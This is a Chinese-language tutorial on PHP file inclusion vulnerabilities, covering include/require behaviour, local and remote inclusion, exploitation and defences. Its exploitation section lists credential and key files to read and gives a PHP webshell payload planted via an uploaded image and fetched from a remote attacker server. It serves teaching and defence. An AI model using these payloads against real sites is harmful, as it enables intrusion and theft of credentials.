File Inclusion
一、原理
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。
通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码。
文件包含相关函数:include()
、include_once()
、require()
、require_once()
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
二、分类
1. 本地文件包含 LFI
当被包含的文件在服务器本地时,就叫本地文件包含。
2. 远程文件包含 RFI
当被包含的文件在第三方服务器时,就叫远程文件包含。
需要开启 php.ini 中的allow_url_fopen
和 allow_url_include
。
三、利用
1、直接进行文件的遍历读取(读取敏感信息):
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //mysql配置信息
...
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
...
2、解析符合php规范的任何文件(本地包含配合文件上传):
可以利用文件包含函数可以解析任何符合PHP规范的文件的特性,结合文件上传获取webshell。
利用过程:
(1) 上传Web应用指定类型的文件,如:shell.jpg(需要确认文件上传后的绝对路径)<?fputs(fopen("shell.php","w"),"<?php @eval($_POST[topo]);?>")?>
(2) 使用文件包含漏洞,直接解析上传的非php后缀的文件,获取webshell。访问URL:http://www.xxx.com/index.php?page=./shell.jpg 在本地生成shell.php
3、远程包含Shell
(1) 先写一个test.txt文件,保存在自己的远程服务器yyy上,内容如下:<?fputs(fopen("shell.php","w"),"<?php eval($_POST[topo]);?>")?>
(2) 则可以通过访问:http://www.xxx.com/index.php?page=http://www.yyy.com/test.txt
则会在服务器根目录下生产一个shell.php
四、防御
- 严格检查变量是否已经初始化。
- 严格判断包含中的参数是否外部可控。
- 基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
- 尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include("func.php")。
- 对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
- 可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。